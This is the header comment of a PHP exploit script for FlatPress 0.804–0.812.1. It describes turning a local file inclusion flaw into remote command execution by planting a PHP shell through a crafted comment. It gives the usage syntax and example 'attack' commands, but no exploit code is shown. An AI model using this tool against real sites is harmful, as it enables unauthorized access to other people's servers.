   * Description: FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution
   *              vulnerability exploit (fp-includes/core/core.users.php).
   *              This code posts a crafted comment with a very simple PHP shell.
   *              It exploits the LFI, hides the shell in the cache directory
   *              and starts a remote command session via POST.
   *
   * Syntax: php fp-lfi2rce.php <host> <path> [action] [lang] [shell]
   *         <host>:   the hostname or IP address of your target;
   *         <path>:   the path where FlatPress was installed;
   *         [action]: the action to take against the host system (test, attack);
   *         [lang]:   the remote language used (en, it);";
   *         [shell]:  if already exploited, you could just have the shell name.
   *
   * Dependencies: php5-curl.
   *
   * Examples:
   *   php fp-lfi2rce.php www.example.com /       => will test
   *   php fp-lfi2rce.php www.example.com /blog attack       => will attack
   *   php fp-lfi2rce.php www.example.com /flatpress attack en 12345678.php  => start remote session
